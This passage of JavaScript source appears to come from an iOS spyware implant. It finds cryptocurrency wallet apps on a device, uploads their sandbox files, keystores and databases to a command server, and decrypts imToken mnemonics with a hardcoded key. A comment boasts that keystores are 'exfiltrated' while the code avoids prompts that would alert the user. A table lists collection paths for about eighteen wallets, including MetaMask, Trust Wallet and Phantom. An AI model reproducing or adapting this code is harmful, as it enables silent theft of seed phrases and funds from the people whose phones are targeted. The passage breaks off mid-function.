catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + 